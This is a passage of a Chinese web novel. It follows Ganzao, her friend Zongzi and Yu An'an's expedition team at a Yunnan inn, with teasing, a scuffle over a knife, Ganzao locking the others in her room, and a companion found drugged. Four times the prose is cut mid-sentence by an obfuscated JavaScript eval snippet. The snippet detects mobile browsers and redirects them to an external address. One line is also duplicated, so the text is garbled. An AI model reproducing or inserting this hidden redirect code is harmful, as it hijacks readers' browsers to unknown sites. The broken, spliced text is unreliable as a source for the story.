据她所知,粽子好像还没来过滇云这边旅游过。 其实她也只来过这里一次,对这里并不熟。 不过他们有车,应该耽误不了多少时间,大不了晚点睡。 想起来自己起来后还没看见过那两人,问粽子:“小李哥和小秦哥去哪儿了?巡视药铺去了?” 想起来自己起来后还没看见过那两人,问粽子:“小李哥和小秦哥去哪儿了?巡视药铺去了?” 想起来自己起来后还没看见过那两人,问粽子:“小李哥和小秦哥去哪儿了?巡视药铺去了?” 孙家药铺开遍全国各地,但大部分在县城以上,镇上的相对少一些。 德新这里…甘草记得只有一个开在繁华地带的小小的药材铺。那药铺距离他们现在所住的这家客栈很远了。 粽子跟着她并肩往水池那边去,闻言回道:“他们去买东西了,小李哥说要在走廊和院子里弄几盏路灯,否则大晚上的出来也挺渗人。小秦哥说给我们建个新洗浴室,否则每天排队洗澡,要耽搁几个小时。” “那等他们回来,我们就出去。” 两人商定好,走到水池边。 水池建在洗浴室外面,洗浴室则单独修在厨房边上。 往后是茅厕和鸡圈等。 甘草到了水池边,闻到不远处的厨房传来香喷喷的炖牛肉和若隐若现的烤红薯香味,想到昨晚承诺过请秀姐和帅哥吃饭。 放下洗脸盆后她说道:“我待会儿要请秀姐和帅哥吃饭,你帮我叫一下他们吧。” 粽子抱臂倚在水池边的墙面上,闻言看着她迟疑两秒。 “你为什么要请秀姐吃饭?还有,你说的帅哥是哪位?我们这里这么多帅哥,你不说是谁,小爷会以为你说的就是小爷我。” 他耍帅地一摸自己的头发。 甘草拿杯子接了水,抬头看到他耍帅有些好笑。 粽子长相结合了他爸妈的特点,单独拎出来都很好看,组合在一起就有些不伦不类。 每次他耍帅就像在搞怪。 甘草忍不住笑说;“我说的帅哥是白河,至于你…” 粽子又一抹头发,还朝她侧头展示他后脑勺绑成手指节那么短的一揪揪头发。甘草觉得那像像兔子尾巴,而他笑嘻嘻的娃娃脸像一朵白嫩的茉莉花。 甘草努力憋住笑,脸上只带着一点笑意摇头:“我和你太熟了,已经越过了颜值,忠于情感了。” “哈哈哈…”粽子放下摸揪揪头发的手,靠着墙壁笑得停不下来。 甘草看得莫名其妙。 粽子从小笑点低,可刚刚的话没有那么好笑吧? 看着粽子那漂亮的丹凤眼都弯成了一条缝,甘草忍住笑,低头刷牙。 粽子从小就不满意自己的长相,但性格使然,他不会多纠结这些,可有时候别人笑话他的长相,他也会生气的。所以甘草从不轻易当着他的面因为他笑起来有点傻而笑话他的长相。 “别笑了,快去办正事。” 她还有事情要做,不能把时间都浪费在这些小事上面。 粽子停止发笑,抱臂靠在墙壁,秒变正经地问:“你为什么要请秀姐和白河吃饭?小爷没记错的话,你应该还没见过白河吧?你怎么知道他是个帅哥?” 粽子怀疑的目光在她脸上睃巡,甘草刷牙的动作慢下来。 这要她怎么说? 说她昨晚出来上厕所,被粽子弄坏的楼梯板弄摔了。 她就是粽子口中的那个倒霉鬼。 而且她还被忽然出现的帅哥救了? 有些事情,她现在还不能告诉粽子。 还有一些事情,她也不想多提。 比如她摔倒这件事,真的很丢脸。 “我昨晚起来找东西吃,正好碰到出门约会的秀姐和帅哥,秀姐给我做了些吃的。所以为了感谢他们,我打算请他们吃饭。” 甘草半真半假地编了一段。 她不久前刚想明白秀姐和帅哥的关系。 大晚上一男一女出门,还在她门口互相关心,不是情侣是什么? 所以甘草对他们两个、一个躲在楼下不出声,一个忽然出现在楼梯口都有了合理的解释。 他们不想其他人知道他们的关系,有意遮掩而已。 客栈院外百来米处,榆安安提着一份饭菜和秀姐往客栈方向走,保镖阿七紧紧跟在她身侧。 “等回了客栈,我就叫孙甘草起床,你们也准备准备,我们一起去朱家买祭祀品。” 她说完,忽然注意到秀姐莫名其妙地停了下来,没走了。 “秀姐,你怎么了?” 秀姐回过神,低垂的眼眸里飞快闪过一丝奇怪的笑意,没人看见。 她笑了笑,很快恢复正常。 “没什么,”秀姐加快脚步,紧走了两步跟上榆安安,“只是忽然想到孙小姐那样,她会愿意跟我们去采购祭祀品吗?” 榆安安盯着她的脸打量了她两眼,然后平静地移开视线,她提着饭菜继续往前走。 “她会去的。” 见她说得冷酷又笃定,秀姐没再多问。 “帅哥和秀姐是情侣?”客栈水池边,粽子发出吃惊的疑问。 还没等甘草回答,他又紧盯着她着急追问:“你昨晚出过门,那个踩中板子的倒霉鬼不会就是你吧?” “不是。”甘草面不改色摇头,脸不红,心不跳,“秀姐他们提醒我了。” 粽子上下打量不像受伤的她, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15773911|174598||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缓缓松了口气,忽然,他鼻子动了动。 对于一个母亲和发小同时是学中医的他来说,中药味再熟悉不过了。 “不对!”他弯腰凑近甘草闻了闻,“你身上有股药味,你是不是受伤了?” 甘草早有准备,不紧不慢咬住牙刷,从衣服口袋里掏出一个草药包来,“我晕车后遗症,再加上怕有蚊虫和老鼠,带了一个药包。” “这样啊…”见她从容淡定不像说谎,有药包为证,粽子彻底松了口气,“不是你就好,小爷以后不再弄坏楼梯了。” 这次他也是气昏头了,没想到那么多。 差点害了自己人。 甘草淡定地点点头,没说话。粽子更不怀疑她了。 如果她不小心踩到他弄坏的板子摔了,肯定追着他脑袋打。 不可能这么平静! “对了,你还说你昨晚撞见秀姐和白河约会?”粽子皱眉喃喃自语,“他俩不像是情侣啊。” 甘草吐出漱口水,放下杯子。 “可能不想人知道吧。”大晚上跑出去约会,明显避人耳目。 “你碰到他们时,他们在干什么?”粽子压低声音,皱眉问。 他们几个一起开车过来,两人天天在他眼前晃,他又不是眼瞎,不至于都看不出来他们之间有暧昧吧? “会不会是他们在一起谋划什么,看到你忽然出门,所以装作是情侣。”粽子声音压得极低说。 甘草刚接了水在水盆里,闻言关了水龙头,愣住。 她还真没想过有这种可能。 不过她推测两人是情侣是因为他们俩在她房间外说话时,秀姐亲昵的语气。 必是情侣无疑。 “应该不是吧。”甘草皱眉打湿帕子,思忖道,“他们要是想商量什么事情,在彼此的屋子里不是最好的?” 粽子若有所思地点头:“这倒是,他们两个都是单间,在房间里谈更安全。” “不过说真的,小爷这一路确实没看出来他们两个是情侣。你看见他们时,他们是不是抱在一起啃了。” . “最近天气不算好也不算坏,但接下来天气可能会越来越糟糕,我们已经耽搁了好几天,最好三天内…” “噗——咳咳咳咳…”距离客栈还有几十米的榆安安话还没说完,就被喝水的秀姐打断。 她忽然被呛住,喷出一口水,剧烈地咳嗽。 “你怎么了?”榆安安皱眉看向忽然被呛住的秀姐,见她眼泪都快咳出来了,忙拿了纸巾给她擦嘴。 保镖阿七则嫌弃地看一眼秀姐,没搭理她。 “咳咳咳…没事,不小心把水弄进鼻子里了。” 榆安安不信她这么不小心。 “你觉得时间太仓促了?” 秀姐止住咳,擦干净嘴,她左耳朵动了动,一心二用,对榆安安摇头,“不,恰恰相反,如果不是你还要采购物资,我觉得越快进山越好。” 榆安安多打量了她几眼,视线有意无意地从秀姐左耳扫过。 “我们要是能今天采购到祭祀品,明天就能进山。” 她没说如果今天采购不到怎么办,秀姐也没多问。 三人继续边说边往客栈方向走。 . 14. 第 14 章 抱在一起啃… 水池边甘草擦了一把脸,闻言差点呛住。 她无言地抬头:“你脑子里能不能想那些乱七八糟的事情?” “什么叫乱七八糟的事情?”粽子对着她挤眉弄眼,“棒槌,你明年就二十岁了,怎么还这么单纯?要不要小爷给你介绍一个帅哥谈个恋爱。” 甘草看蠢货一样的眼神看他,“你现在就是给我介绍一堆帅哥,他们能跟着我进山找死吗?” 粽子遗憾地收起坏笑。 “行了,不说这个了,你快说说他们两个究竟在外面干什么,小爷总觉得有问题。” 见他抓着这件事不放,甘草想了一会儿,删减修改了一些“不重要”的情节告诉他。 “我看到他们的时候,他们刚出门不久,秀姐在楼梯口,帅哥在下面,可能是等她。后来我出来。他们看见我,帅哥就先回房了,秀姐给我做了点吃的也回去了。” 粽子听完瞪着眼睛看她。 他听了半天都没听出来两人有暧昧举动。 “棒槌,我现在发现你还有造谣的本事。” 没有亲密举动,怎么就看出来那两人是情侣了? 甘草想了想,整理好腹稿,认真和他分析。 “我们刚刚已经说过了,他们俩出来应该不是密谈,因为密谈去他们的房间更安全。” 粽子认同点头,“可不是商量事情,也可能是出来上厕所和吃东西啊。” 喝水不太可能,因为他们先来的人各自屋内都有热水,老板烧好灌进热水壶的。 甘草赞同地点头,“可我碰见他们时,他们身上没有茅厕的臭味和厨房内的味道,只有刚才被窝里钻出来的温暖棉被味。” “而且他们穿得都是单薄的睡衣。” “他们碰到我之后,帅哥直接回自己屋了,没有上厕所和吃东西,秀姐同样如此。” “你说他们大晚上前后脚出门,既不是商量事情,又不是上厕所吃东西,穿着睡衣出来干什么?” 粽子仔细想想,竟然觉得她说得很有道理! “小爷还是觉得哪里有点奇怪。”粽子抓了抓头发道。 可他想不通究竟是哪里奇怪。 “不奇怪。”甘草一口咬定道,“情侣之间做什么都不奇怪,昨天月色还算不错,他们俩忍不住偷偷摸摸出来赏月很正常。” 粽子瞪大眼睛若有所思。 他被“情侣做什么都不奇怪”这句话说服了。 “你说的对,跟着我们一起素了好几天,肯定要抱着啃一啃的。” 甘草:“…” . “秀姐,你没事吧?”榆安安三人快走到客栈了,见秀姐说着说着,脸上表情忽然僵住,榆安安停下来问她。 保镖阿七也看向她。 秀姐脸上表情飞快恢复正常,她若无其事地抬手将自己左脸颊被风吹落的一缕发丝轻柔地别到左耳后,笑了笑,抬头看向天空。 “我是想到今明两天的天气好,但等我们进山时,可能会下雪。” “乌鸦嘴。”阿七骂了一句。榆安安盯着秀姐左耳看了一会儿,什么都没说,率先望前走去。 . 甘草洗完脸,拧干净毛巾,和粽子往回走。 “哎——棒槌,你不是说去外面吃吗?怎么往厨房里跑?”粽子看到甘草走着走着,忽然转道朝厨房走去去,忙叫住她。 甘草动动精致的鼻子,轻轻嗅了一下:“我闻到火坑里面的红薯熟了,烤焦的外壳刚刚好,我想吃。” 粽子:“…” 他一丝红薯味都没闻到! “孙甘草——” 走到厨房门口的甘草和粽子听到熟悉的嗓音看去,正好看到榆安安、秀姐和阿七穿过院子,朝着他们两个走来。 榆安安和阿七手里都提着大包的饭菜,甘草看了他们一眼,淡淡地移开视线。 她现在最不待见的人就是联合她爸把她弄到这里来的榆冰山! 见她要进厨房,榆安安不疾不徐地朝她走过去。 “难道贪财鬼没告诉你,厨房里的东西都被他们吃光了,老板和赵商他们去采购了?厨房里估计是那小女孩刚炖上的肉,还没熟,你进去也吃了。” “我给你带了饭。” 甘草看了看榆安安递给她的饭菜,“呵”了一声,矜持地扭头进了厨房。 “我才不吃你有味道的饭。” 榆安安皱眉看了看自己提亮了一路的饭菜,被人下毒了。 “什么毒?” 屋内其他人都吃惊地看向语出惊人她手里的饭菜。 阿七严阵以待。 粽子和秀姐齐齐退了一步。 只有甘草无动于衷地往灶台去,她头也不回道:“断头饭的味道,名叫绝命毒!” “…” 屋内安静下来了两秒。 “噗嗤——”粽子率先打破安静。 接着秀姐也笑了。 唯有榆安安冷着脸面无表情。 “棒槌…”粽子正要夸她这名字取得好,转头就看到她站在灶台旁不动了,“你怎么了?” 秀姐眼里闪过戏谑的笑,正好走到灶台前的粽子也停住不动了。 他看到了一个奇异出现在这里的人正和他发小安静对视。 那平静无波的眸子简直像要照出人心里的鬼一样。 呵呵…呵呵… 厚脸皮如粽子也沉默了。 谁能告诉他们,白河为什么会在厨房里? 水池离厨房这么近,谁知道他听到了多少他们的谈话。 “白河?”榆安安见两人都僵在灶台前,走过去一眼看到一个奇异坐在厨房的人。 “你怎么在这里? 白河看了粽子一眼就移开了视线,他绕过问话的榆安安,径直看向榆安安身后略落后一步的秀姐身上。 秀姐原本戏虐地看着他们,对上白河看过来的冷清的视线,霎那僵在原地。 她一动不敢动,嘴角扯了几下,都没能在白河淡淡的透着点冷漠的视线下,正常地笑出来。 她心里万分后悔,却没处可说。 只能强撑着和他对视,不避不让。 屋内的其他人都惊讶又奇怪地看着明显不对劲的他们俩,粽子拿胳膊肘轻轻碰了一下甘草,正要让她快看,白河忽然收回了视线,平淡地看向他们两个一眼。 对上他明明平静,但好像藏着刀子的眼神的粽子、和被连累淡眸扫过的甘草:“…” 粽子这个蠢货! “呵…呵…” 白河淡淡看一眼站在原地面露尴尬的甘草,他很快收回视线,平静地低下头去,看着灶台里的火。 “大哥哥,谢谢你帮我看火…”客栈老板的孙女提着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15782727|174598||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 菜篮子从外面进来,见到厨房里站了这么多人,吃惊地用还算流利地汉语问:“哥哥姐姐们,你们是饿了吗?可是牛肉还没炖好。” 她的到来打破了这屋里窒息又尴尬的僵局,白河最先有反应,他见摆脱自己看火,自己好去别人家买菜的小姑娘回来了,平静地放下手里的火棍,起身绕过僵在原地尴尬地不知道说什么是好的甘草走了。 甘草目送他离开厨房,过了大约几秒,她忽然抬脚用力踩在粽子左脚上,还不解气地碾了碾。 “嗷!”粽子单脚站立,抱着自己被踩了一脚的左腿跳来跳去,“你踩我做什么?我们又没说什么不对的话。” “要怪也怪你自己,打断人家抱着啃,肯定对你不满呢。” 知道他在说什么的甘草和秀姐,还有一脸莫名其妙的榆安安等人:“…” 他们究竟在说什么乱七八糟的东西! . “孙甘草。” 一群人安抚了可爱的藏族小姑娘,离开厨房。看到前面越走越快,仿佛想跑的甘草背影,榆安安踩着中跟皮鞋“哒哒哒——”追上她。 “我有事找你。” “没空。”甘草一把拂开她抓着她手臂的手,端着自己的洗脸盆加快脚步,远离身后打扰她的榆安安。 “我待会儿要去采购祭祀品,你跟我一起去。” “没钱、没人、没空。” 三个“没”代表了甘草的决心。 两人一前一后蹬蹬蹬上了楼梯,甘草进门立马要关门,却被榆安安拦住了。 “没空也要去。孙甘草,我没时间和你耗,你必须今天跟我去采购祭祀品。” 秀姐因为昨天的事还不知道怎么面对甘草,见她们两个在门口角力,犹豫了一秒,转身回自己房了。 她刚刚因为喷水弄脏了衣服,需要换一身出门。 甘草门口,不敌榆安安力气的甘草还是被榆安安挤进了门,她一转身,将洗脸盆放到门口的架子上。 犹豫了两秒,她还是选择了躺在床上,闭上眼睛装睡。 “麻烦出去时带上门,我累了,要睡觉。” 榆安安看她耍赖,冷脸走过去扯她身上的被子。 “你给我起来!” “呵。” 甘草一翻身,蛄蛹往被子里钻,无论榆安安怎么拉她,她都死拽着被褥和床单不放。 榆安安从没被人这么无赖地对过,站在床边一时不知道怎么办。 “大小姐,我帮你拖她起来。”两人拉扯半天没个结果,阿七走上前就要帮忙。 “七烦,你脑子有病吧?”倚着墙笑哈哈看热闹的粽子见他这么不识趣,睁大眼睛上前拦着他,“她们两个女生闹,你掺合什么劲儿?你给小爷滚出去。” “我…” “阿七,你先出去。” 大小姐…” “出去!把赵商、刘老二、李野和秦军都叫回来,半个小时,我要看到他们都回来了!” 见她不快了,阿七站在原地迟疑了两秒,最后一瞪嬉皮笑脸嘲笑他的粽子,转身出去了。粽子看他吃瘪,脸上的笑容更大了。 他和棒槌都跟阿七都有过节,彼此看不惯彼此。 比如他烦他时叫他“七烦”。 而阿七生气时叫他“死粽”。 倒是对甘草,无论他怎么不爽,粽子都没听他乱叫过。 15. 第 15 章 阿七一走,屋内两个女生一个躲在被子底下,一个在外面拉扯被子。而坐在靠墙桌子上的粽子边看两个女生较劲,边哈哈大笑。 偶尔还声援助威?煽风点火几句。 反正是看热闹不嫌事大。 三人闹着闹着,只听“撕拉——”一声,都停下了动作。 死死拽紧床单的甘草听到这道声音还以为是错觉,她满头大汗地问外面忽然停止了笑的粽子。 “粽子,你听到什么奇怪的声音没有?” “咳咳…噗嗤——” 隔着被子,甘草清楚地听到粽子同情的憋笑声,“棒槌,不好了,榆安安把你的被子撕破了。” 甘草差点以为自己听错了,她下意识松开床单和被褥,一挪一挪地从被子底下往后退。 她的被褥是粽子特意用苍术熏过又晒过的,她特别喜欢。 现在她香喷喷、软绵绵的蓬松大棉被被榆安安这“刽子手”撕烂了? 甘草着急忙爬出被子,一眼看见自己的被子裂开了好大一个口子,露出里面白花花的棉絮。 虽然有所心里准备,看看到这么大一个口子,甘草还是心疼地没说话。 见她站在那里浑身散发“嗖嗖”的冷气,榆安安双手揣衣兜:“一床被子而已,我赔就是了。” 甘草看都不看她,一言不发地朝墙边的行李包走去,里面有针线。 “孙甘草。”榆安安一把抓住她手臂,扭头看向她,“我们已经耽误了两天时间,进山的时间很紧迫了,没时间再耽搁了。” 甘草冷冷推开她的手,走到红色登山包前,拉开拉链,找出一张银行卡,反手递给后面的榆安安。 “拿去买祭祀品吧。” 见她眼睛一眨也不眨地递出一张黑金卡,刚办银行卡不久的榆安安和办了许久银行卡但卡里的钱现在不足六位数的粽子:“…” 榆安安盯着那张浅蓝色银行两秒,才艰难地移开视线。 听人说,孙甘草银行卡里的钱有一大串零。 榆安安双手揣兜,视线看着一边,“…我不是要你的钱。” 甘草听完缓缓收回银行卡,从旁边的行李袋里找出针线,“我说过,我有自己的事情要做,要钱可以,其他的没空。” 甘草拿着针线起身走到破洞前,准备把被子上这个大口子缝好。 等打发了榆安安,她就去办自己的事情。 这件事不能让榆安安和队伍里其他人察觉,否则肯定会阻拦她。 她准备单独带着小秦哥去办,才没空去和榆安安采购什么祭祀品。 其实她也想不明白榆安安为什么非要找她。她又不是神仙,挥挥手就能买到祭祀品? 真是笑话。 “那你就别怪我不讲情面了。”榆安安眯了眯眼。 “你想做什么?”甘草立即警觉地放下缝了一半的针,飞快地从口袋里摸出“刀二。” 她正要甩出刀尖威胁榆安安离开,就见榆安安忽然动了,速度极快地一把握住她的左手臂,往后反手扭到了身后。 “嘶——”甘草吃痛,脸上浮现出痛苦。 她咬牙忽视这疼痛,右手握紧“刀二”反手攻击榆安安。 “竟然知道带刀?”榆安安扬眉,左手扭紧甘草左手腕,右手在此飞快抓住她右手腕,同样反手往后拧。 “嘶——”甘草忍不住再次发出吃痛声。 她看不到后面,不知道榆安安怎么做到的。 只知道现在她两只手都被“俘虏”了,没了反抗之力了,再也攻击不到身后的榆安安了。 “榆安安!你放开我!”甘草屈辱地喊道。 榆安安沉默地看着她右手握着的军刀连刀身竟然都没甩出,她目光复杂地移向挣扎的女生后脑勺。 心慈手软,早晚被人吃进肚子里,连骨头都不剩。 她右手顺着她的手背往下,直接夺走军刀,手指灵活地转动军刀几圈,轻轻对着外面一甩,刀身滑出,锋利的光芒晃过榆安安冷酷的凤眼。 是一把好刀。 “以后把刀身甩出来以后再攻击人。” 甘草右手重获自由,地曲起胳膊肘羞怒地攻向身后:“把我的‘刀二’还给我!” “刀儿?”榆安安嫌弃地微微用力往后掰她的左手,丝毫没把她右手的攻击放在眼里,“小学生才叫得那么肉麻。” “嗷!”甘草左手被扭疼,右手自然而然地停下攻击,“榆安安!你放手!” 甘草眼眶湿润,眼泪在眼眶里打转。站在旁边的粽子握紧了拳头,眼睛冷冷盯着榆安安。 榆安安看有没看她一眼。她在甘草身后,没看到甘草脸上的表情。 不过看到了,她也只会无动于衷。 她拿着军刀轻轻塞进她口袋里,左手扭着她的手强迫她站起来。 “乖乖跟我走,到了车山自然放开你。” “榆安安,你给我等着,我早晚会让你向我求饶。”甘草没注意到她把军刀还给她了,注意力都在被“俘虏”的左手上。 她放完狠话,拼命把眼泪逼了回去。 虽然她觉得又疼又屈辱,可她绝不可能当着榆安安这个冷冰冰的魔鬼哭。 “不会有那么一天。你先学会拿刀锋对准别人吧。 甘草被扭着左手半推半胁迫地往门外走,半路看到墙边站着的粽子时,她忽然一喜:“粽子——” “你不用叫他,他和我事先有约定,我们两个之间在合理范围内的事情他不能插手干预。” 甘草抬头愣愣看着站在那里目露歉意,算是默认了的粽子,她忽然沉默下来。 业界里的人都知道,粽子家和榆家是你死我活的死仇,粽子和榆安安本身没有交恶,但因为两家关系,他们没有任何交情可言。 如果说,队伍里有谁不会帮着榆安安对付她,那一定是粽子。 可现在…甘草不知道发生了什么事,连粽子都被榆安安“收服”了。 甘草沉默着被榆安安押送到门外,低垂的视线里忽然出现一双穿紧身牛仔裤的长腿,接着又看到一条漂亮的藏族裙子。 她愣愣地抬头,就看到了不知在门口站了多久的白河和秀姐。 两人一个看她的眼神像看一只被人抓住怎么宰了吃的家禽一样平静淡然。 另外一个看她的眼神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15788528|174598||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 则如同看一个被猫抓住准备吃掉的鱼充满了爱莫能助的同情。 甘草愣愣地看了两人几眼,脸上忽然像着了火,难堪地低下头去。 他们两个都在客栈的房间里。她和榆安安大吵大闹肯定会引来他们围观,可她不知道他们看了多久,也不知道自己多少柔弱无能的样子被他们看到。 但此时此刻,她毫无反抗之力的样子全部都落入了他们眼底。 虽然她早就清楚自己有多弱,平常也会主动承认自己确实有点弱。 可嘴上调侃和被同为女生的榆安安不费吹灰之力的碾压被人亲眼目睹还是不一样的。 “榆小姐…”秀姐充满同情低眸的看看被反手扣住的甘草,又抬起眼眸看看面上冷若冰霜的榆安安,张张嘴,欲言又止。 榆安安对此视若无睹。 “你们也要跟我一起去采购东西,准备好了就上车吧。” 秀姐应了一声,白河低眸看着甘草,没有回应。这时,甘草忽然扭头对榆安安道:“我们好好聊聊。” 榆安安迟疑,“回来以后我们再聊。” 甘草淡淡一笑:“如果你要做的事情不需要我配合,那你就这么抓着我去吧。” 榆安安脸色一变。 她抬头眺望外面。 其他人还没回来。 “行,我们先谈一谈。” 闻言,落在后面的粽子精明的丹凤眼里闪过一丝奇异的笑,他好整以暇地斜靠向墙面,眼眸兴致盎然地看向她们两个。 榆安安松开手,揣衣兜往里走。 “我们进屋聊。” 甘草重获自由,活动了一下酸痛的左手。她笑着对秀姐和白河说:“你们两个也进来吧,有些事我觉得有必要一次性说清楚。” 白河闻言,从容淡定地举步进了房间。秀姐不自在地避开甘草的眼神,尴尬地看向地面。 昨晚上的事给她留下了一丝心里阴影,她实在不想再进这间屋子。 可甘草一直等着她进去。 犹豫再三,秀姐还是迟疑走了进去。 “我们时间有限,你别再门口磨磨蹭蹭了,快进来谈…”榆安安进了屋直接在屋内唯一的一张椅子上坐下。 粽子倚着墙面没动。 白河进去直接站在了床尾那边。秀姐扫视一眼屋内,找合适的位置。 忽然,毫无防备地她背后被人大力地推了一下。 “谈你个大头鬼!” 甘草跟在秀姐后面,见秀姐快走到了榆安安旁边,立即毫不迟疑地推了一把。 她清楚自己不敌榆安安武力值,所以必须让她没空来抓她。 推倒秀姐后,她迅速逃出门外,顺手抓住门把带上门。 “哐当——”门被关上。 “啪嗒——”铜锁被锁上。 甘草放下铜锁,拍拍手,对着门冷冷道:“本小姐从不受人威胁,你们就老老实实在本小姐屋里呆着吧!” 其他人很快会回来了,她不能停留在这里,甘草转身往楼下跑去,到楼梯口时,正好看到李勇从他房内出来。 甘草头也不回的,跑得更快了。 . 16. 第 16 章 屋内秀姐被甘草一把推到榆安安身上,两人陷在椅子里抱成一团。 “噗嗤——”在旁边围观,丝毫不帮忙的粽子指着被秀姐压在身下的榆安安大笑起来。 “哈哈哈哈哈…榆安安,没想到吧。背我们棒槌骗了吧?你怎么那么蠢,她想和你谈时你不和她谈,她不想和你谈了,你却松口和她谈。你说你是不是找虐。” “她要是想和你谈,用得着被你押到门口么?”粽子觉得榆安安是在太蠢,根本看不清情况。 他家棒槌压根就没有想真的和榆安安好好谈,她只是想降低榆安安的戒心,好逃出榆安安的“魔爪。” 不过—— 粽子停止笑,担忧的目光看向门口。 不知道他发小要去做什么。 不惜和榆安安碰硬的也要走。 希望她能办好她自己的事。 “榆安安,你就比再想着我们棒槌陪你买什么祭祀品,那狗屁祭祀品你就自己去买吧。” 说着说着,粽子又笑起来, 笑得前俯后仰,眼泪都快笑出来了。 他一屁股坐在地上,感慨:“唉,笑死小爷了。” 榆安安推开秀姐站起来,看向被关的门。 眸子里酝酿了一场风暴。 “不好意思啊榆队,”秀姐跟她抱歉,“我没想到孙小姐会忽然推我,还把我推到了你身上。” “不管你的事。”她冷冷看了坐在地上笑得起不来的粽子一眼,转头看向自始至终都没有任何动作的白河,忍不住皱紧了眉。 这才是真正有关的人。 白河有机会拦住孙甘草,可他没有,他也没有阻止孙甘草跑和关门、锁门。 “白河,把门弄开。” 白河闻言,从容地收回看门口的视线,扭回头淡淡地看了一眼榆安安,就在几人以为白河会点头照做时,他没有任何表示的移开视线,转头看向了门口。 仿佛他只是听到一声鸭子叫,给面子的看一眼而已。 榆安安无语了。 粽子喷笑出来。 秀姐轻笑了一下。 “白河!”榆安安低吼。 他们一屋子里人里,只有白河能轻而易举地破开门出去。 白河没有反应,依旧看着门口。 见他直接无视她的命令,榆安安脸色顿时黑如锅底:他聋了不成? 而粽子丹凤眼睁大,迸射出闪耀的亮光:哟嚯,连榆队都指挥不动他。 秀姐面带微笑,眸光微闪:… 见她脸色越来越难看,秀姐道:“榆队,不用破门出去,外面有人来了。” 榆安安听完,暴怒的脸色愣住。 所以白河是发现了有人过来了,才没有听从她吩咐做事? 榆安安脸色稍霁,再看向白河那张平淡无波的侧时觉得顺眼了点。虽然他的态度让人冒火,但能力够强就行。 “大小姐?你在里面” “李勇?” 榆安安听到外面熟悉的询问声,脸色一喜。 “李勇,你快帮我们把门打开。” “大小姐,”外面传来李勇沉吟的问声:“我没有钥匙,可以直接破坏锁吗?” “可以。”榆安安无情回答。 她懊恼地捏了捏拳头。今天她起床后,就让李勇留在屋内看行李。 要是早想到李勇在屋内,她就可以应该直接喊李勇抓住孙甘草了。 现在也不知道孙甘草跑去了哪里,还能不能找得到。 不过——榆安安轻瞥了一眼身后从地上站起来的粽子。 只要粽子在这儿,孙甘草肯定会回来。 “大小姐,你们发生什么事了?孙小姐为什么把你们关在屋内?”李勇直接一枪崩开了门上的锁,打开门让他们出去。 榆安安冷着脸边往外走边整理衣服。 这是她今天为了采购祭祀品特意换的正式一点的着装,白色衬衣配牛仔裤。 要是弄得皱皱巴巴的,她还要回去重新换一套干净的衣服。 太浪费时间了。 好在没怎么弄皱,穿得出去。 “没什么。”她没解释,问李勇,“你看到孙甘草跑去哪里了吗?” “我只看到她跑下楼,之后就没注意到她了。” 榆安安皱了眉头,带着他们往楼下去,边走边问:“阿七回来了吗?我让他把李野,秦军他们都叫回来,他们都还没回来?” 李勇一直在屋里看行李,不知道这些情况。 “我给他们打电话。”他拿出大哥大准备打电话,楼下忽然传来惊呼声,“二哥!你怎么了?” 榆安安等人知道出了事,立即跑下楼,跟在后面的秀姐迟疑了一下,也跟着跑下去。最后面的白河看了秀姐一眼,不知从哪里摸出来一把锁,帮甘草把门锁上了,才不紧不慢地跟上。 一行人跑到楼下,就看到赵商等人回来了,中间躺着个人。 几人粗粗扫过楼下的人。 除了阿川、小李哥、小秦哥不在之外,其他人都在这里了。 哦…还有那个跑掉的孙甘草也不在。 不过这时候众人已经没心思管她了。 “刘老二怎么了?”榆安安看清楚情况后挤进人群。 她飞快扫过地上刘老二起伏的胸口,人没事就好。 赵商检查完了刘老二情况,退后一步让出位置给她。 “好像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15793051|174598||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是被什么东西迷晕了。” 榆安安走到他让开的位置,蹲下去检查刘老二口鼻,片刻后她肯定点头:“是被药粉迷晕了。” “哪个王八糕子干的!”旁边的胖子齐老三怒不可遏,见自己吼完没人出来承认,气得淬了一口,“呸!他奶.奶的,有胆子做没胆子认的小瘪三,别让老子抓到,否则一定要让你好看!” 众人看着他骂骂咧咧地都没说话。 